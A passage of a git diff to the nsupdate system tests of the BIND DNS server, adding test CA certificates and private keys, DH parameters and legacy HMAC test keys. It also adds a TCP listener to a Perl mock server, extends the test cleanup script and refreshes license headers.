+MypSgK631nw1dMMMisM6GGFoc2JYVv94JVcce76YiCHdHIoTpZpSSJjZPcQopn6b
+EVZ+zgm7UYmKqBsAtXMrQZOxYkAwKer2o+e88OmeByuuqaAdTdn4GE2DR05o7lfI
+VRWGPG0e9THx3s/CfmuOIlrFdq/QAd6regOyljPMoCau3sS9doWWx4jkRrw/xlTJ
+lYOHnEkNMd3EF1KZ5GVJm53zrc5mCFf0g75eh9pCWgEqbWjRjTjZGK5eLlRyiwFF
+lq/1o9ApXSKLtNQwrwI2xS3pKess6mp+J7Nw/IcfK8SxOqbC6bfCb0Zjt5YuU9i3
+zcP0tW2y/FdJrJ+Yyf609XyTSC6T3OkYVGNfGKPnEqr+OPBz5Rce/kBlgaiPYEbC
+FvKonbEbvM4F3jeyqIZHvY2S3uDlQom44/ixJAh+mQIDAQABoy8wLTArBgNVHREE
+JDAighpzcnYwMS5jbGllbnQwMS5leGFtcGxlLm5pbIcECjUAATANBgkqhkiG9w0B
+AQsFAAOCAYEAB5dpURJQauECoLDck3UWxDgPXLNH2r/6nLbewO8498zZjXG6UYnl
+SDbd4fhznZKAHEIwaU+MGV33HQPk8nbgWHvCdsQKfiBpJmw+yzFFkx0HX0VEjlr7
+hxd7TVy/N71eulwihL8mIUrE6fnLc978YgSWrar9iQlcdNa9XwcX75w97rfcCBF/
+EmarxP9DbX8eAbbRGXNTGOQCsHyemWPYV90HefuDOQnedm5ot4eBE7gm5RzJoCPl
+lzn/k8eNCNjOlzT8rSIUicCug30KP8+gm7RqXLNtXTuIyh6bmVRkV1g8TL0m7hHD
+Ewsd9f3ZN7Axcm8d6LpDN0b3cf5tSjAzKcV7N4t+BiKJpEY28P7G9fBTBMA1Unhu
+ECQ62L97Ey+YvGkxQWgCWsT5EaJrP8jg1LOAr9K+/ihwYRjtit7Ey9rJYJSRdmNp
+jG6W9brnvh4cw4Sxjegx92aMDdqoeFcZ/aCN+pp+URzR0IQHokVALcRr6Z+GSggg
+j5x5l+N/KhRz
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/nsupdate/CA/newcerts/70B9F4EB2FA1959B.pem b/bin/tests/system/nsupdate/CA/newcerts/70B9F4EB2FA1959B.pem
new file mode 100644
index 0000000000..bbdb6dea6f
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/newcerts/70B9F4EB2FA1959B.pem
@@ -0,0 +1,93 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 8122792693893010843 (0x70b9f4eb2fa1959b)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Sep  7 08:14:18 2022 GMT
+            Not After : Sep  8 08:14:18 2022 GMT
+        Subject: CN=srv01.client02-expired.example.nil
+        Subject Public Key Info:
+            Public Key Algorithm: rsaEncryption
+                RSA Public-Key: (3072 bit)
+                Modulus:
+                    00:c0:11:27:17:25:3a:ad:85:a0:3b:59:0b:22:64:
+                    63:7d:bb:05:32:35:4f:68:d5:19:2b:cd:46:bd:e2:
+                    b6:42:8c:08:cf:09:0d:a8:cd:58:d9:1b:77:db:17:
+                    8a:fc:f0:55:f2:e1:50:f4:fd:90:aa:49:15:5d:ea:
+                    9b:5a:47:c4:2f:82:07:46:87:f6:05:ef:15:02:a4:
+                    3c:a1:da:fc:5b:75:36:12:f7:12:50:55:f8:be:0c:
+                    7d:21:91:e2:92:d8:41:3f:71:fe:b2:17:c0:68:1d:
+                    09:be:fc:c4:24:ec:ef:d2:5c:52:a9:4f:d6:5d:30:
+                    b8:ab:68:2e:39:e9:8b:5b:c6:f0:64:42:f7:b8:bd:
+                    b2:90:32:22:68:bc:38:70:2f:14:ae:c8:7c:63:04:
+                    d5:11:b2:0a:f1:8e:13:10:b2:3b:69:f4:fe:3a:e2:
+                    f1:58:56:28:93:c1:28:aa:a7:19:c9:91:12:43:f8:
+                    f5:1d:34:58:3d:32:9f:11:67:d1:1f:53:d4:e0:d5:
+                    0c:78:2c:6f:38:3f:e1:89:69:b5:09:3c:12:f4:a9:
+                    ee:e5:2f:c5:47:65:a6:82:fa:ea:78:48:31:89:11:
+                    b6:23:8a:27:ed:7c:1d:6d:e8:ab:a0:29:de:40:f4:
+                    f2:9b:61:22:da:9c:22:32:f7:3d:f8:4c:e1:38:a7:
+                    e2:c3:af:a4:67:7f:94:a4:fd:52:25:89:4d:f4:9a:
+                    d6:35:ba:98:20:f1:4b:c9:a5:cf:ac:72:58:2a:cd:
+                    3b:4a:3e:e9:04:31:e2:9a:74:32:d5:52:60:34:ad:
+                    0c:85:02:65:58:41:74:2a:57:91:34:55:36:a9:14:
+                    5b:45:cc:28:27:d7:6d:ba:55:a3:dd:9f:00:04:a4:
+                    43:c2:af:5c:af:86:53:a6:d5:a7:49:aa:31:d6:5e:
+                    92:7d:26:dd:8d:f4:87:8a:9b:48:e8:25:f4:c7:34:
+                    ca:cf:e3:f7:84:19:3b:43:c7:6a:b8:da:6e:6f:85:
+                    af:8d:0c:fb:7c:ea:c7:73:9c:9b
+                Exponent: 65537 (0x10001)
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.client02-expired.example.nil, IP Address:10.53.0.1
+    Signature Algorithm: sha256WithRSAEncryption
+         18:f1:7c:24:5b:d2:03:b0:60:0e:60:e6:32:f9:a7:47:d1:e4:
+         bd:3f:a3:21:53:90:84:9a:c6:2c:87:b2:16:28:95:07:a3:2a:
+         c3:33:8f:60:70:3f:26:58:be:ec:a2:6c:44:89:d3:4e:ef:bb:
+         ce:af:9b:5f:15:06:03:21:74:e3:6f:2a:dc:5c:19:4e:d3:cb:
+         ba:c3:5f:d8:76:89:59:50:82:69:5f:a1:ac:9f:be:79:e1:22:
+         12:37:f9:d3:2e:00:35:03:03:9d:08:24:45:65:7a:e9:72:31:
+         e1:67:44:32:17:25:dd:b9:72:eb:c6:40:d7:5d:8d:5f:00:48:
+         07:09:0d:3c:4c:a1:f1:05:4b:05:9b:2b:5a:21:09:46:f4:17:
+         7a:cf:34:87:ad:bf:ef:bd:56:74:d7:1a:8f:07:ce:70:b1:aa:
+         4d:82:4f:08:dc:56:27:f9:21:20:b8:06:c7:29:b4:8e:36:82:
+         b8:43:85:1c:2d:9f:be:2d:b9:9d:40:de:52:55:6a:2e:0b:28:
+         33:fc:f8:1b:70:e9:c5:46:50:f3:05:be:8d:ed:99:ec:f1:8c:
+         51:8a:1c:4b:95:f4:c4:dd:cd:42:74:bc:6f:66:64:54:b8:c1:
+         6e:c8:3d:e9:fe:10:02:61:50:77:38:b9:b0:b8:13:37:8f:0e:
+         5b:49:92:3a:9d:9a:60:51:68:99:8a:d5:7e:92:71:7e:fa:db:
+         52:37:4d:f9:0d:6c:3b:79:a3:b9:16:b7:95:00:ea:eb:17:54:
+         e2:50:d7:a5:08:54:58:2c:79:66:01:4b:95:65:ed:b8:81:f7:
+         4c:fa:f8:89:37:ad:d9:dc:c9:75:9d:02:3e:e5:92:b3:03:ab:
+         70:69:83:f5:6c:a6:27:7e:2e:fc:9d:b2:59:0a:43:ad:3f:55:
+         2f:5d:ec:ef:52:f0:3e:be:b5:d6:e2:c3:91:9d:dd:5d:e1:9e:
+         e6:18:90:0b:6a:85:f8:e3:83:2a:7c:91:c3:52:1c:6d:aa:2b:
+         44:b8:6f:2b:af:6e
+-----BEGIN CERTIFICATE-----
+MIIEYzCCAsugAwIBAgIIcLn06y+hlZswDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMB4XDTIyMDkwNzA4MTQxOFoXDTIyMDkwODA4
+MTQxOFowLTErMCkGA1UEAwwic3J2MDEuY2xpZW50MDItZXhwaXJlZC5leGFtcGxl
+Lm5pbDCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAMARJxclOq2FoDtZ
+CyJkY327BTI1T2jVGSvNRr3itkKMCM8JDajNWNkbd9sXivzwVfLhUPT9kKpJFV3q
+m1pHxC+CB0aH9gXvFQKkPKHa/Ft1NhL3ElBV+L4MfSGR4pLYQT9x/rIXwGgdCb78
+xCTs79JcUqlP1l0wuKtoLjnpi1vG8GRC97i9spAyImi8OHAvFK7IfGME1RGyCvGO
+ExCyO2n0/jri8VhWKJPBKKqnGcmREkP49R00WD0ynxFn0R9T1ODVDHgsbzg/4Ylp
+tQk8EvSp7uUvxUdlpoL66nhIMYkRtiOKJ+18HW3oq6Ap3kD08pthItqcIjL3PfhM
+4Tin4sOvpGd/lKT9UiWJTfSa1jW6mCDxS8mlz6xyWCrNO0o+6QQx4pp0MtVSYDSt
+DIUCZVhBdCpXkTRVNqkUW0XMKCfXbbpVo92fAASkQ8KvXK+GU6bVp0mqMdZekn0m
+3Y30h4qbSOgl9Mc0ys/j94QZO0PHarjabm+Fr40M+3zqx3OcmwIDAQABozcwNTAz
+BgNVHREELDAqgiJzcnYwMS5jbGllbnQwMi1leHBpcmVkLmV4YW1wbGUubmlshwQK
+NQABMA0GCSqGSIb3DQEBCwUAA4IBgQAY8XwkW9IDsGAOYOYy+adH0eS9P6MhU5CE
+msYsh7IWKJUHoyrDM49gcD8mWL7somxEidNO77vOr5tfFQYDIXTjbyrcXBlO08u6
+w1/YdolZUIJpX6Gsn7554SISN/nTLgA1AwOdCCRFZXrpcjHhZ0QyFyXduXLrxkDX
+XY1fAEgHCQ08TKHxBUsFmytaIQlG9Bd6zzSHrb/vvVZ01xqPB85wsapNgk8I3FYn
++SEguAbHKbSONoK4Q4UcLZ++LbmdQN5SVWouCygz/PgbcOnFRlDzBb6N7Zns8YxR
+ihxLlfTE3c1CdLxvZmRUuMFuyD3p/hACYVB3OLmwuBM3jw5bSZI6nZpgUWiZitV+
+knF++ttSN035DWw7eaO5FreVAOrrF1TiUNelCFRYLHlmAUuVZe24gfdM+viJN63Z
+3Ml1nQI+5ZKzA6twaYP1bKYnfi78nbJZCkOtP1UvXezvUvA+vrXW4sORnd1d4Z7m
+GJALaoX444MqfJHDUhxtqitEuG8rr24=
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/nsupdate/CA/private/CA-other.key b/bin/tests/system/nsupdate/CA/private/CA-other.key
new file mode 100644
index 0000000000..41818aacd8
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/private/CA-other.key
@@ -0,0 +1,39 @@
+-----BEGIN RSA PRIVATE KEY-----
+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
+-----END RSA PRIVATE KEY-----
diff --git a/bin/tests/system/nsupdate/CA/private/CA.key b/bin/tests/system/nsupdate/CA/private/CA.key
new file mode 100644
index 0000000000..2d5419d89a
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/private/CA.key
@@ -0,0 +1,39 @@
+-----BEGIN RSA PRIVATE KEY-----
+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
+-----END RSA PRIVATE KEY-----
diff --git a/bin/tests/system/nsupdate/CA/serial b/bin/tests/system/nsupdate/CA/serial
new file mode 100644
index 0000000000..0a263a531a
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/serial
@@ -0,0 +1 @@
+70B9F4EB2FA1959C
diff --git a/bin/tests/system/nsupdate/ans4/ans.pl b/bin/tests/system/nsupdate/ans4/ans.pl
index 7ffcbc8a21..30c792f1cf 100644
--- a/bin/tests/system/nsupdate/ans4/ans.pl
+++ b/bin/tests/system/nsupdate/ans4/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -29,6 +31,8 @@
 
 my $udpsock = IO::Socket::INET->new(LocalAddr => "$server_addr",
    LocalPort => $localport, Proto => "udp", Reuse => 1) or die "$!";
+my $tcpsock = IO::Socket::INET->new(LocalAddr => "$server_addr",
+   LocalPort => $localport, Proto => "tcp", Listen => 5, Reuse => 1) or die "$!";
 
 print "listening on $server_addr:$localport.\n";
 
@@ -47,6 +51,7 @@
 
 	$rin = '';
 	vec($rin, fileno($udpsock), 1) = 1;
+	vec($rin, fileno($tcpsock), 1) = 1;
 
 	select($rout = $rin, undef, undef, undef);
 
@@ -54,5 +59,7 @@
 		printf "UDP request\n";
 		my $buf;
 		$udpsock->recv($buf, 512);
+	} elsif (vec($rout, fileno($tcpsock), 1)) {
+		printf "TCP request\n";
 	}
 }
diff --git a/bin/tests/system/nsupdate/clean.sh b/bin/tests/system/nsupdate/clean.sh
index 2034aa46ab..c77d627f0c 100644
--- a/bin/tests/system/nsupdate/clean.sh
+++ b/bin/tests/system/nsupdate/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -22,6 +24,7 @@ rm -f Kxxx.*
 rm -f check.out.*
 rm -f dig.out.*
 rm -f jp.out.ns3.*
+rm -f keygen.out.*
 rm -f nextpart.out.*
 rm -f ns*/managed-keys.bind* ns*/*.mkeys*
 rm -f ns*/named.lock
@@ -29,7 +32,10 @@ rm -f ns1/example.db ns1/unixtime.db ns1/yyyymmddvv.db ns1/update.db ns1/other.d
 rm -f ns1/many.test.db
 rm -f ns1/maxjournal.db
 rm -f ns1/md5.key ns1/sha1.key ns1/sha224.key ns1/sha256.key ns1/sha384.key
+rm -f ns1/legacy157.key ns1/legacy161.key ns1/legacy162.key ns1/legacy163.key ns1/legacy164.key ns1/legacy165.key
 rm -f ns1/sample.db
+rm -f ns1/tls.conf
+rm -f ns1/tls.options
 rm -f ns1/sha512.key ns1/ddns.key
 rm -f ns10/_default.tsigkeys
 rm -f ns10/example.com.db
@@ -43,6 +49,8 @@ rm -f ns3/delegation.test.db
 rm -f ns3/dnskey.test.db
 rm -f ns3/dsset-*
 rm -f ns3/example.db
+rm -f ns3/relaxed.db
+rm -f ns3/multisigner.test.db
 rm -f ns3/many.test.bk
 rm -f ns3/nsec3param.test.db
 rm -f ns3/too-big.test.db
@@ -59,7 +67,9 @@ rm -f ns9/denyname.example.db
 rm -f ns9/example.com.db
 rm -f ns9/in-addr.db
 rm -f perl.update_test.out
+rm -f nsupdate.alg-*
 rm -f nsupdate.out*
 rm -f typelist.out.*
 rm -f update.out.*
+rm -f update.in.*
 rm -f verylarge
diff --git a/bin/tests/system/nsupdate/dhparam3072.pem b/bin/tests/system/nsupdate/dhparam3072.pem
new file mode 100644
index 0000000000..9c2e0aa42b
--- /dev/null
+++ b/bin/tests/system/nsupdate/dhparam3072.pem
@@ -0,0 +1,11 @@
+-----BEGIN DH PARAMETERS-----
+MIIBiAKCAYEA5D/Oioe+G+EMf/9RVxmcV4rZAtqZpVTFHcX0ZulvdiQGCQmopm6K
+3+0uoU2J6WVMjhna5nHD2NO9miRDI/jIxX9g9k6PedSB4o3fSTtkAnGtUbB8S+Ab
+EHtWfd7FTES8P1n16HN7BfPXVbP8zTcK+jO63KdQoxueYoETcrw0Myi9Lm8ri8os
+O4oQ+XAH7GzZ60bcYV9jge0XIRUGVnYZDjWMlnwMvZyjLivxKXTC9HPNA6FF1/0H
+0LPhsfjdoLNsVHFzfQz7QELMfHbTd0C8y0UMDQw9FqUp0esHZ5gsTlqnDHp2ZHoR
+JDfNl4yVO5Gv4HiFJ0NSdggefhESU3FRAOhMmUkctOCxk5hyPqGMsvofOajY2MBp
+eCffrKuAU6/dGUeq8inwrZlAMIZ20WyskHmbHnc4DXo2Uo6xSZo3xyEq1ofXXwTZ
+vPw4e12so3RJAT2a8UsHf7DG1tH+9ke7HCAJQWxUizRFRsMi1Nl/7ikS4f3zgIbX
+GKz9+uk5eS6jAgEC
+-----END DH PARAMETERS-----
diff --git a/bin/tests/system/nsupdate/krb/setup.sh b/bin/tests/system/nsupdate/krb/setup.sh
index 150b2050f8..3d254a84e0 100644
--- a/bin/tests/system/nsupdate/krb/setup.sh
+++ b/bin/tests/system/nsupdate/krb/setup.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -9,7 +13,7 @@
 
 set -x
 
-PWD=`pwd`
+PWD=$(pwd)
 
 KRB5_CONFIG="${PWD}/krb5.conf"
 export KRB5_CONFIG
@@ -17,9 +21,9 @@ export KRB5_CONFIG
 KRB5_KDC_PROFILE=${PWD}/krb5kdc
 export KRB5_KDC_PROFILE
 
-now=`date +%s`
-lifetime=`expr 2147483647 - $now`
-lifetime=`expr $lifetime / 3600 / 24 - 30`
+now=$(date +%s)
+lifetime=$((2147483647 - now))
+lifetime=$((lifetime / 3600 / 24 - 30))
 
 cat << EOF > "${KRB5_CONFIG}"
 [libdefaults]
diff --git a/bin/tests/system/nsupdate/ns1/example1.db b/bin/tests/system/nsupdate/ns1/example1.db
index 1ca6589143..566b0a0403 100644
--- a/bin/tests/system/nsupdate/ns1/example1.db
+++ b/bin/tests/system/nsupdate/ns1/example1.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns1/legacy/Klegacy-157.+157+23571.key b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-157.+157+23571.key
new file mode 100644
index 0000000000..bed002b19d
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-157.+157+23571.key
@@ -0,0 +1 @@
+legacy-157. IN KEY 0 3 157 mGcDSCx/fF121GOVJlITLg==
diff --git a/bin/tests/system/nsupdate/ns1/legacy/Klegacy-157.+157+23571.private b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-157.+157+23571.private
new file mode 100644
index 0000000000..3ce72dd12d
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-157.+157+23571.private
@@ -0,0 +1,7 @@
+Private-key-format: v1.3
+Algorithm: 157 (HMAC_MD5)
+Key: mGcDSCx/fF121GOVJlITLg==
+Bits: AAA=
+Created: 20230619042408
+Publish: 20230619042408
+Activate: 20230619042408
diff --git a/bin/tests/system/nsupdate/ns1/legacy/Klegacy-161.+161+23350.key b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-161.+161+23350.key
new file mode 100644
index 0000000000..cb50883139
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-161.+161+23350.key
@@ -0,0 +1 @@
+legacy-161. IN KEY 0 3 161 N80fGvcr8JifzRUJ62R4rQ==
diff --git a/bin/tests/system/nsupdate/ns1/legacy/Klegacy-161.+161+23350.private b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-161.+161+23350.private
new file mode 100644
index 0000000000..dea2850f66
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-161.+161+23350.private
@@ -0,0 +1,7 @@
+Private-key-format: v1.3
+Algorithm: 161 (HMAC_SHA1)
+Key: N80fGvcr8JifzRUJ62R4rQ==
+Bits: AAA=
+Created: 20230619042427
+Publish: 20230619042427
+Activate: 20230619042427
